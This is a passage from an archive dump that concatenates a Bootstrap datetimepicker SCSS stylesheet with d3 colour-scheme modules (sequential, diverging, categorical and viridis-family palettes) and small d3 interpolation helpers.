text-shadow: $bs-datetimepicker-text-shadow; } &.active.today:before { border-bottom-color: #fff; } &.disabled, &.disabled:hover { background: none; color: $bs-datetimepicker-disabled-color; cursor: not-allowed; } span { display: inline-block; width: 54px; height: 54px; line-height: 54px; margin: 2px 1.5px; cursor: pointer; border-radius: $bs-datetimepicker-border-radius; &:hover { background: $bs-datetimepicker-btn-hover-bg; } &.active { background-color: $bs-datetimepicker-active-bg; color: $bs-datetimepicker-active-color; text-shadow: $bs-datetimepicker-text-shadow; } &.old { color: $bs-datetimepicker-alternate-color; } &.disabled, &.disabled:hover { background: none; color: $bs-datetimepicker-disabled-color; cursor: not-allowed; } } } } &.usetwentyfour { td.hour { height: 27px; line-height: 27px; } } } .input-group [data-toggle="datetimepicker"] { cursor: pointer; }sass/tempusdominus-bootstrap-4-build.scss000064400000000614151677263570014623 0ustar00// Import bootstrap variables including default color palette and fonts @import "~bootstrap/scss/_functions.scss"; @import "~bootstrap/scss/_variables.scss"; .sr-only { position: absolute; width: 1px; height: 1px; margin: -1px; padding: 0; overflow: hidden; clip: rect(0,0,0,0); border: 0; } // Import datepicker component @import "_tempusdominus-bootstrap-4"; sequential-multi/YlGn.js000064400000000706151677265600011277 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "f7fcb9addd8e31a354", "ffffccc2e69978c679238443", "ffffccc2e69978c67931a354006837", "ffffccd9f0a3addd8e78c67931a354006837", "ffffccd9f0a3addd8e78c67941ab5d238443005a32", "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443005a32", "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443006837004529" ).map(colors); export default ramp(scheme); sequential-multi/YlOrBr.js000064400000000706151677265600011577 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "fff7bcfec44fd95f0e", "ffffd4fed98efe9929cc4c02", "ffffd4fed98efe9929d95f0e993404", "ffffd4fee391fec44ffe9929d95f0e993404", "ffffd4fee391fec44ffe9929ec7014cc4c028c2d04", "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c028c2d04", "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c02993404662506" ).map(colors); export default ramp(scheme); sequential-multi/PuBuGn.js000064400000000706151677265600011566 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "ece2f0a6bddb1c9099", "f6eff7bdc9e167a9cf02818a", "f6eff7bdc9e167a9cf1c9099016c59", "f6eff7d0d1e6a6bddb67a9cf1c9099016c59", "f6eff7d0d1e6a6bddb67a9cf3690c002818a016450", "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016450", "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016c59014636" ).map(colors); export default ramp(scheme); sequential-multi/YlOrRd.js000064400000000706151677265600011601 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "ffeda0feb24cf03b20", "ffffb2fecc5cfd8d3ce31a1c", "ffffb2fecc5cfd8d3cf03b20bd0026", "ffffb2fed976feb24cfd8d3cf03b20bd0026", "ffffb2fed976feb24cfd8d3cfc4e2ae31a1cb10026", "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cb10026", "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cbd0026800026" ).map(colors); export default ramp(scheme); sequential-multi/viridis.js000064400000014530151677265600012077 0ustar00import colors from "../colors"; function ramp(range) { var n = range.length; return function(t) { return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))]; }; } export default ramp(colors("44015444025645045745055946075a46085c460a5d460b5e470d60470e6147106347116447136548146748166848176948186a481a6c481b6d481c6e481d6f481f70482071482173482374482475482576482677482878482979472a7a472c7a472d7b472e7c472f7d46307e46327e46337f463480453581453781453882443983443a83443b84433d84433e85423f854240864241864142874144874045884046883f47883f48893e49893e4a893e4c8a3d4d8a3d4e8a3c4f8a3c508b3b518b3b528b3a538b3a548c39558c39568c38588c38598c375a8c375b8d365c8d365d8d355e8d355f8d34608d34618d33628d33638d32648e32658e31668e31678e31688e30698e306a8e2f6b8e2f6c8e2e6d8e2e6e8e2e6f8e2d708e2d718e2c718e2c728e2c738e2b748e2b758e2a768e2a778e2a788e29798e297a8e297b8e287c8e287d8e277e8e277f8e27808e26818e26828e26828e25838e25848e25858e24868e24878e23888e23898e238a8d228b8d228c8d228d8d218e8d218f8d21908d21918c20928c20928c20938c1f948c1f958b1f968b1f978b1f988b1f998a1f9a8a1e9b8a1e9c891e9d891f9e891f9f881fa0881fa1881fa1871fa28720a38620a48621a58521a68522a78522a88423a98324aa8325ab8225ac8226ad8127ad8128ae8029af7f2ab07f2cb17e2db27d2eb37c2fb47c31b57b32b67a34b67935b77937b87838b9773aba763bbb753dbc743fbc7340bd7242be7144bf7046c06f48c16e4ac16d4cc26c4ec36b50c46a52c56954c56856c66758c7655ac8645cc8635ec96260ca6063cb5f65cb5e67cc5c69cd5b6ccd5a6ece5870cf5773d05675d05477d1537ad1517cd2507fd34e81d34d84d44b86d54989d5488bd6468ed64590d74393d74195d84098d83e9bd93c9dd93ba0da39a2da37a5db36a8db34aadc32addc30b0dd2fb2dd2db5de2bb8de29bade28bddf26c0df25c2df23c5e021c8e020cae11fcde11dd0e11cd2e21bd5e21ad8e219dae319dde318dfe318e2e418e5e419e7e419eae51aece51befe51cf1e51df4e61ef6e620f8e621fbe723fde725")); export var magma = ramp(colors("00000401000501010601010802010902020b02020d03030f03031204041405041606051806051a07061c08071e0907200a08220b09240c09260d0a290e0b2b100b2d110c2f120d31130d34140e36150e38160f3b180f3d19103f1a10421c10441d11471e114920114b21114e22115024125325125527125829115a2a115c2c115f2d11612f116331116533106734106936106b38106c390f6e3b0f703d0f713f0f72400f74420f75440f764510774710784910784a10794c117a4e117b4f127b51127c52137c54137d56147d57157e59157e5a167e5c167f5d177f5f187f601880621980641a80651a80671b80681c816a1c816b1d816d1d816e1e81701f81721f817320817521817621817822817922827b23827c23827e24828025828125818326818426818627818827818928818b29818c29818e2a81902a81912b81932b80942c80962c80982d80992d809b2e7f9c2e7f9e2f7fa02f7fa1307ea3307ea5317ea6317da8327daa337dab337cad347cae347bb0357bb2357bb3367ab5367ab73779b83779ba3878bc3978bd3977bf3a77c03a76c23b75c43c75c53c74c73d73c83e73ca3e72cc3f71cd4071cf4070d0416fd2426fd3436ed5446dd6456cd8456cd9466bdb476adc4869de4968df4a68e04c67e24d66e34e65e44f64e55064e75263e85362e95462ea5661eb5760ec5860ed5a5fee5b5eef5d5ef05f5ef1605df2625df2645cf3655cf4675cf4695cf56b5cf66c5cf66e5cf7705cf7725cf8745cf8765cf9785df9795df97b5dfa7d5efa7f5efa815ffb835ffb8560fb8761fc8961fc8a62fc8c63fc8e64fc9065fd9266fd9467fd9668fd9869fd9a6afd9b6bfe9d6cfe9f6dfea16efea36ffea571fea772fea973feaa74feac76feae77feb078feb27afeb47bfeb67cfeb77efeb97ffebb81febd82febf84fec185fec287fec488fec68afec88cfeca8dfecc8ffecd90fecf92fed194fed395fed597fed799fed89afdda9cfddc9efddea0fde0a1fde2a3fde3a5fde5a7fde7a9fde9aafdebacfcecaefceeb0fcf0b2fcf2b4fcf4b6fcf6b8fcf7b9fcf9bbfcfbbdfcfdbf")); export var inferno = ramp(colors("00000401000501010601010802010a02020c02020e03021004031204031405041706041907051b08051d09061f0a07220b07240c08260d08290e092b10092d110a30120a32140b34150b37160b39180c3c190c3e1b0c411c0c431e0c451f0c48210c4a230c4c240c4f260c51280b53290b552b0b572d0b592f0a5b310a5c320a5e340a5f3609613809623909633b09643d09653e0966400a67420a68440a68450a69470b6a490b6a4a0c6b4c0c6b4d0d6c4f0d6c510e6c520e6d540f6d550f6d57106e59106e5a116e5c126e5d126e5f136e61136e62146e64156e65156e67166e69166e6a176e6c186e6d186e6f196e71196e721a6e741a6e751b6e771c6d781c6d7a1d6d7c1d6d7d1e6d7f1e6c801f6c82206c84206b85216b87216b88226a8a226a8c23698d23698f24699025689225689326679526679727669827669a28659b29649d29649f2a63a02a63a22b62a32c61a52c60a62d60a82e5fa92e5eab2f5ead305dae305cb0315bb1325ab3325ab43359b63458b73557b93556ba3655bc3754bd3853bf3952c03a51c13a50c33b4fc43c4ec63d4dc73e4cc83f4bca404acb4149cc4248ce4347cf4446d04545d24644d34743d44842d54a41d74b3fd84c3ed94d3dda4e3cdb503bdd513ade5238df5337e05536e15635e25734e35933e45a31e55c30e65d2fe75e2ee8602de9612bea632aeb6429eb6628ec6726ed6925ee6a24ef6c23ef6e21f06f20f1711ff1731df2741cf3761bf37819f47918f57b17f57d15f67e14f68013f78212f78410f8850ff8870ef8890cf98b0bf98c0af98e09fa9008fa9207fa9407fb9606fb9706fb9906fb9b06fb9d07fc9f07fca108fca309fca50afca60cfca80dfcaa0ffcac11fcae12fcb014fcb216fcb418fbb61afbb81dfbba1ffbbc21fbbe23fac026fac228fac42afac62df9c72ff9c932f9cb35f8cd37f8cf3af7d13df7d340f6d543f6d746f5d949f5db4cf4dd4ff4df53f4e156f3e35af3e55df2e661f2e865f2ea69f1ec6df1ed71f1ef75f1f179f2f27df2f482f3f586f3f68af4f88ef5f992f6fa96f8fb9af9fc9dfafda1fcffa4")); export var plasma = ramp(colors("0d088710078813078916078a19068c1b068d1d068e20068f2206902406912605912805922a05932c05942e05952f059631059733059735049837049938049a3a049a3c049b3e049c3f049c41049d43039e44039e46039f48039f4903a04b03a14c02a14e02a25002a25102a35302a35502a45601a45801a45901a55b01a55c01a65e01a66001a66100a76300a76400a76600a76700a86900a86a00a86c00a86e00a86f00a87100a87201a87401a87501a87701a87801a87a02a87b02a87d03a87e03a88004a88104a78305a78405a78606a68707a68808a68a09a58b0aa58d0ba58e0ca48f0da4910ea3920fa39410a29511a19613a19814a099159f9a169f9c179e9d189d9e199da01a9ca11b9ba21d9aa31e9aa51f99a62098a72197a82296aa2395ab2494ac2694ad2793ae2892b02991b12a90b22b8fb32c8eb42e8db52f8cb6308bb7318ab83289ba3388bb3488bc3587bd3786be3885bf3984c03a83c13b82c23c81c33d80c43e7fc5407ec6417dc7427cc8437bc9447aca457acb4679cc4778cc4977cd4a76ce4b75cf4c74d04d73d14e72d24f71d35171d45270d5536fd5546ed6556dd7566cd8576bd9586ada5a6ada5b69db5c68dc5d67dd5e66de5f65de6164df6263e06363e16462e26561e26660e3685fe4695ee56a5de56b5de66c5ce76e5be76f5ae87059e97158e97257ea7457eb7556eb7655ec7754ed7953ed7a52ee7b51ef7c51ef7e50f07f4ff0804ef1814df1834cf2844bf3854bf3874af48849f48948f58b47f58c46f68d45f68f44f79044f79143f79342f89441f89540f9973ff9983ef99a3efa9b3dfa9c3cfa9e3bfb9f3afba139fba238fca338fca537fca636fca835fca934fdab33fdac33fdae32fdaf31fdb130fdb22ffdb42ffdb52efeb72dfeb82cfeba2cfebb2bfebd2afebe2afec029fdc229fdc328fdc527fdc627fdc827fdca26fdcb26fccd25fcce25fcd025fcd225fbd324fbd524fbd724fad824fada24f9dc24f9dd25f8df25f8e125f7e225f7e425f6e626f6e826f5e926f5eb27f4ed27f3ee27f3f027f2f227f1f426f1f525f0f724f0f921")); sequential-multi/BuGn.js000064400000000706151677265600011261 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "e5f5f999d8c92ca25f", "edf8fbb2e2e266c2a4238b45", "edf8fbb2e2e266c2a42ca25f006d2c", "edf8fbccece699d8c966c2a42ca25f006d2c", "edf8fbccece699d8c966c2a441ae76238b45005824", "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45005824", "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45006d2c00441b" ).map(colors); export default ramp(scheme); sequential-multi/sinebow.js000064400000000512151677265600012067 0ustar00import {rgb} from "d3-color"; var c = rgb(), pi_1_3 = Math.PI / 3, pi_2_3 = Math.PI * 2 / 3; export default function(t) { var x; t = (0.5 - t) * Math.PI; c.r = 255 * (x = Math.sin(t)) * x; c.g = 255 * (x = Math.sin(t + pi_1_3)) * x; c.b = 255 * (x = Math.sin(t + pi_2_3)) * x; return c + ""; } sequential-multi/RdPu.js000064400000000706151677265600011300 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "fde0ddfa9fb5c51b8a", "feebe2fbb4b9f768a1ae017e", "feebe2fbb4b9f768a1c51b8a7a0177", "feebe2fcc5c0fa9fb5f768a1c51b8a7a0177", "feebe2fcc5c0fa9fb5f768a1dd3497ae017e7a0177", "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a0177", "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a017749006a" ).map(colors); export default ramp(scheme); sequential-multi/OrRd.js000064400000000706151677265600011274 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "fee8c8fdbb84e34a33", "fef0d9fdcc8afc8d59d7301f", "fef0d9fdcc8afc8d59e34a33b30000", "fef0d9fdd49efdbb84fc8d59e34a33b30000", "fef0d9fdd49efdbb84fc8d59ef6548d7301f990000", "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301f990000", "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301fb300007f0000" ).map(colors); export default ramp(scheme); sequential-multi/YlGnBu.js000064400000000706151677265600011566 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "edf8b17fcdbb2c7fb8", "ffffcca1dab441b6c4225ea8", "ffffcca1dab441b6c42c7fb8253494", "ffffccc7e9b47fcdbb41b6c42c7fb8253494", "ffffccc7e9b47fcdbb41b6c41d91c0225ea80c2c84", "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea80c2c84", "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea8253494081d58" ).map(colors); export default ramp(scheme); sequential-multi/cubehelix.js000064400000000300151677265600012364 0ustar00import {cubehelix} from "d3-color"; import {interpolateCubehelixLong} from "d3-interpolate"; export default interpolateCubehelixLong(cubehelix(300, 0.5, 0.0), cubehelix(-240, 0.5, 1.0)); sequential-multi/GnBu.js000064400000000706151677265600011261 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "e0f3dba8ddb543a2ca", "f0f9e8bae4bc7bccc42b8cbe", "f0f9e8bae4bc7bccc443a2ca0868ac", "f0f9e8ccebc5a8ddb57bccc443a2ca0868ac", "f0f9e8ccebc5a8ddb57bccc44eb3d32b8cbe08589e", "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe08589e", "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe0868ac084081" ).map(colors); export default ramp(scheme); sequential-multi/rainbow.js000064400000001013151677265600012057 0ustar00import {cubehelix} from "d3-color"; import {interpolateCubehelixLong} from "d3-interpolate"; export var warm = interpolateCubehelixLong(cubehelix(-100, 0.75, 0.35), cubehelix(80, 1.50, 0.8)); export var cool = interpolateCubehelixLong(cubehelix(260, 0.75, 0.35), cubehelix(80, 1.50, 0.8)); var c = cubehelix(); export default function(t) { if (t < 0 || t > 1) t -= Math.floor(t); var ts = Math.abs(t - 0.5); c.h = 360 * t - 100; c.s = 1.5 - 1.5 * ts; c.l = 0.8 - 0.9 * ts; return c + ""; } sequential-multi/PuBu.js000064400000000706151677265600011301 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "ece7f2a6bddb2b8cbe", "f1eef6bdc9e174a9cf0570b0", "f1eef6bdc9e174a9cf2b8cbe045a8d", "f1eef6d0d1e6a6bddb74a9cf2b8cbe045a8d", "f1eef6d0d1e6a6bddb74a9cf3690c00570b0034e7b", "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0034e7b", "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0045a8d023858" ).map(colors); export default ramp(scheme); sequential-multi/PuRd.js000064400000000706151677265600011300 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "e7e1efc994c7dd1c77", "f1eef6d7b5d8df65b0ce1256", "f1eef6d7b5d8df65b0dd1c77980043", "f1eef6d4b9dac994c7df65b0dd1c77980043", "f1eef6d4b9dac994c7df65b0e7298ace125691003f", "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125691003f", "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125698004367001f" ).map(colors); export default ramp(scheme); sequential-multi/BuPu.js000064400000000706151677265600011301 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "e0ecf49ebcda8856a7", "edf8fbb3cde38c96c688419d", "edf8fbb3cde38c96c68856a7810f7c", "edf8fbbfd3e69ebcda8c96c68856a7810f7c", "edf8fbbfd3e69ebcda8c96c68c6bb188419d6e016b", "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d6e016b", "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d810f7c4d004b" ).map(colors); export default ramp(scheme); ramp.js000064400000000227151677265600006061 0ustar00import {interpolateRgbBasis} from "d3-interpolate"; export default function(scheme) { return interpolateRgbBasis(scheme[scheme.length - 1]); } categorical/Paired.js000064400000000207151677265600010601 0ustar00import colors from "../colors"; export default colors("a6cee31f78b4b2df8a33a02cfb9a99e31a1cfdbf6fff7f00cab2d66a3d9affff99b15928"); categorical/Set3.js000064400000000207151677265600010213 0ustar00import colors from "../colors"; export default colors("8dd3c7ffffb3bebadafb807280b1d3fdb462b3de69fccde5d9d9d9bc80bdccebc5ffed6f"); categorical/Pastel1.js000064400000000165151677265600010711 0ustar00import colors from "../colors"; export default colors("fbb4aeb3cde3ccebc5decbe4fed9a6ffffcce5d8bdfddaecf2f2f2"); categorical/Dark2.js000064400000000157151677265600010344 0ustar00import colors from "../colors"; export default colors("1b9e77d95f027570b3e7298a66a61ee6ab02a6761d666666"); categorical/category10.js000064400000000173151677265600011355 0ustar00import colors from "../colors"; export default colors("1f77b4ff7f0e2ca02cd627289467bd8c564be377c27f7f7fbcbd2217becf"); categorical/Pastel2.js000064400000000157151677265600010713 0ustar00import colors from "../colors"; export default colors("b3e2cdfdcdaccbd5e8f4cae4e6f5c9fff2aef1e2cccccccc"); categorical/Set1.js000064400000000165151677265600010214 0ustar00import colors from "../colors"; export default colors("e41a1c377eb84daf4a984ea3ff7f00ffff33a65628f781bf999999"); categorical/Set2.js000064400000000157151677265600010216 0ustar00import colors from "../colors"; export default colors("66c2a5fc8d628da0cbe78ac3a6d854ffd92fe5c494b3b3b3"); categorical/Accent.js000064400000000157151677265600010576 0ustar00import colors from "../colors"; export default colors("7fc97fbeaed4fdc086ffff99386cb0f0027fbf5b17666666"); scheme.js000064400000000403151677265600006362 0ustar00export default function(ranges) { ranges = ranges.map(function(colors) { return colors.match(/.{6}/g).map(function(x) { return "#" + x; }); }); var n0 = ranges[0].length; return function(n) { return ranges[n - n0]; }; } colors.js000064400000000302151677265600006415 0ustar00export default function(specifier) { var n = specifier.length / 6 | 0, colors = new Array(n), i = 0; while (i < n) colors[i] = "#" + specifier.slice(i * 6, ++i * 6); return colors; } diverging/PRGn.js000064400000001122151677265600007701 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "af8dc3f7f7f77fbf7b", "7b3294c2a5cfa6dba0008837", "7b3294c2a5cff7f7f7a6dba0008837", "762a83af8dc3e7d4e8d9f0d37fbf7b1b7837", "762a83af8dc3e7d4e8f7f7f7d9f0d37fbf7b1b7837", "762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b7837", "762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b7837", "40004b762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b783700441b", "40004b762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b783700441b" ).map(colors); export default ramp(scheme); diverging/Spectral.js000064400000001122151677265600010650 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "fc8d59ffffbf99d594", "d7191cfdae61abdda42b83ba", "d7191cfdae61ffffbfabdda42b83ba", "d53e4ffc8d59fee08be6f59899d5943288bd", "d53e4ffc8d59fee08bffffbfe6f59899d5943288bd", "d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd", "d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd", "9e0142d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd5e4fa2", "9e0142d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd5e4fa2" ).map(colors); export default ramp(scheme); diverging/RdYlBu.js000064400000001122151677265600010234 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "fc8d59ffffbf91bfdb", "d7191cfdae61abd9e92c7bb6", "d7191cfdae61ffffbfabd9e92c7bb6", "d73027fc8d59fee090e0f3f891bfdb4575b4", "d73027fc8d59fee090ffffbfe0f3f891bfdb4575b4", "d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4", "d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4", "a50026d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4313695", "a50026d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4313695" ).map(colors); export default ramp(scheme); diverging/RdYlGn.js000064400000001122151677265600010232 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "fc8d59ffffbf91cf60", "d7191cfdae61a6d96a1a9641", "d7191cfdae61ffffbfa6d96a1a9641", "d73027fc8d59fee08bd9ef8b91cf601a9850", "d73027fc8d59fee08bffffbfd9ef8b91cf601a9850", "d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850", "d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850", "a50026d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850006837", "a50026d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850006837" ).map(colors); export default ramp(scheme); diverging/BrBG.js000064400000001122151677265600007647 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "d8b365f5f5f55ab4ac", "a6611adfc27d80cdc1018571", "a6611adfc27df5f5f580cdc1018571", "8c510ad8b365f6e8c3c7eae55ab4ac01665e", "8c510ad8b365f6e8c3f5f5f5c7eae55ab4ac01665e", "8c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e", "8c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e", "5430058c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e003c30", "5430058c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e003c30" ).map(colors); export default ramp(scheme); diverging/PiYG.js000064400000001122151677265600007703 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "e9a3c9f7f7f7a1d76a", "d01c8bf1b6dab8e1864dac26", "d01c8bf1b6daf7f7f7b8e1864dac26", "c51b7de9a3c9fde0efe6f5d0a1d76a4d9221", "c51b7de9a3c9fde0eff7f7f7e6f5d0a1d76a4d9221", "c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221", "c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221", "8e0152c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221276419", "8e0152c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221276419" ).map(colors); export default ramp(scheme); diverging/PuOr.js000064400000001122151677265600007760 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "998ec3f7f7f7f1a340", "5e3c99b2abd2fdb863e66101", "5e3c99b2abd2f7f7f7fdb863e66101", "542788998ec3d8daebfee0b6f1a340b35806", "542788998ec3d8daebf7f7f7fee0b6f1a340b35806", "5427888073acb2abd2d8daebfee0b6fdb863e08214b35806", "5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b35806", "2d004b5427888073acb2abd2d8daebfee0b6fdb863e08214b358067f3b08", "2d004b5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b358067f3b08" ).map(colors); export default ramp(scheme); diverging/RdGy.js000064400000001122151677265600007740 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "ef8a62ffffff999999", "ca0020f4a582bababa404040", "ca0020f4a582ffffffbababa404040", "b2182bef8a62fddbc7e0e0e09999994d4d4d", "b2182bef8a62fddbc7ffffffe0e0e09999994d4d4d", "b2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d", "b2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d", "67001fb2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d1a1a1a", "67001fb2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d1a1a1a" ).map(colors); export default ramp(scheme); diverging/RdBu.js000064400000001122151677265600007727 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "ef8a62f7f7f767a9cf", "ca0020f4a58292c5de0571b0", "ca0020f4a582f7f7f792c5de0571b0", "b2182bef8a62fddbc7d1e5f067a9cf2166ac", "b2182bef8a62fddbc7f7f7f7d1e5f067a9cf2166ac", "b2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac", "b2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac", "67001fb2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac053061", "67001fb2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac053061" ).map(colors); export default ramp(scheme); rampClosed.js000064400000000437151677265600007216 0ustar00import {scaleSequential} from "d3-scale"; import {interpolateRgbBasisClosed} from "d3-interpolate"; import colors from "./colors"; export default function(range) { var s = scaleSequential(interpolateRgbBasisClosed(colors(range))).clamp(true); delete s.clamp; return s; } sequential-single/Greens.js000064400000000706151677265600012000 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "e5f5e0a1d99b31a354", "edf8e9bae4b374c476238b45", "edf8e9bae4b374c47631a354006d2c", "edf8e9c7e9c0a1d99b74c47631a354006d2c", "edf8e9c7e9c0a1d99b74c47641ab5d238b45005a32", "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45005a32", "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45006d2c00441b" ).map(colors); export default ramp(scheme); sequential-single/Purples.js000064400000000706151677265600012207 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "efedf5bcbddc756bb1", "f2f0f7cbc9e29e9ac86a51a3", "f2f0f7cbc9e29e9ac8756bb154278f", "f2f0f7dadaebbcbddc9e9ac8756bb154278f", "f2f0f7dadaebbcbddc9e9ac8807dba6a51a34a1486", "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a34a1486", "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a354278f3f007d" ).map(colors); export default ramp(scheme); sequential-single/Blues.js000064400000000706151677265600011627 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "deebf79ecae13182bd", "eff3ffbdd7e76baed62171b5", "eff3ffbdd7e76baed63182bd08519c", "eff3ffc6dbef9ecae16baed63182bd08519c", "eff3ffc6dbef9ecae16baed64292c62171b5084594", "f7fbffdeebf7c6dbef9ecae16baed64292c62171b5084594", "f7fbffdeebf7c6dbef9ecae16baed64292c62171b508519c08306b" ).map(colors); export default ramp(scheme); sequential-single/Greys.js000064400000000706151677265600011646 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "f0f0f0bdbdbd636363", "f7f7f7cccccc969696525252", "f7f7f7cccccc969696636363252525", "f7f7f7d9d9d9bdbdbd969696636363252525", "f7f7f7d9d9d9bdbdbd969696737373525252252525", "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525", "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525000000" ).map(colors); export default ramp(scheme); sequential-single/Oranges.js000064400000000706151677265600012153 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "fee6cefdae6be6550d", "feeddefdbe85fd8d3cd94701", "feeddefdbe85fd8d3ce6550da63603", "feeddefdd0a2fdae6bfd8d3ce6550da63603", "feeddefdd0a2fdae6bfd8d3cf16913d948018c2d04", "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d948018c2d04", "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d94801a636037f2704" ).map(colors); export default ramp(scheme); sequential-single/Reds.js000064400000000706151677265600011452 0ustar00import colors from "../colors"; import ramp from "../ramp"; export var scheme = new Array(3).concat( "fee0d2fc9272de2d26", "fee5d9fcae91fb6a4acb181d", "fee5d9fcae91fb6a4ade2d26a50f15", "fee5d9fcbba1fc9272fb6a4ade2d26a50f15", "fee5d9fcbba1fc9272fb6a4aef3b2ccb181d99000d", "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181d99000d", "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181da50f1567000d" ).map(colors); export default ramp(scheme); round.js000064400000000165151677266600006253 0ustar00export default function(a, b) { return a = +a, b -= a, function(t) { return Math.round(a + b * t); }; } basis.js000064400000001153151677266600006223 0ustar00export function basis(t1, v0, v1, v2, v3) { var t2 = t1 * t1, t3 = t2 * t1; return ((1 - 3 * t1 + 3 * t2 - t3) * v0 + (4 - 6 * t2 + 3 * t3) * v1 + (1 + 3 * t1 + 3 * t2 - 3 * t3) * v2 + t3 * v3) / 6; } export default function(values) { var n = values.length - 1; return function(t) { var i = t <= 0 ? (t = 0) : t >= 1 ? (t = 1, n - 1) : Math.floor(t * n), v1 = values[i], v2 = values[i + 1], v0 = i > 0 ? values[i - 1] : 2 * v1 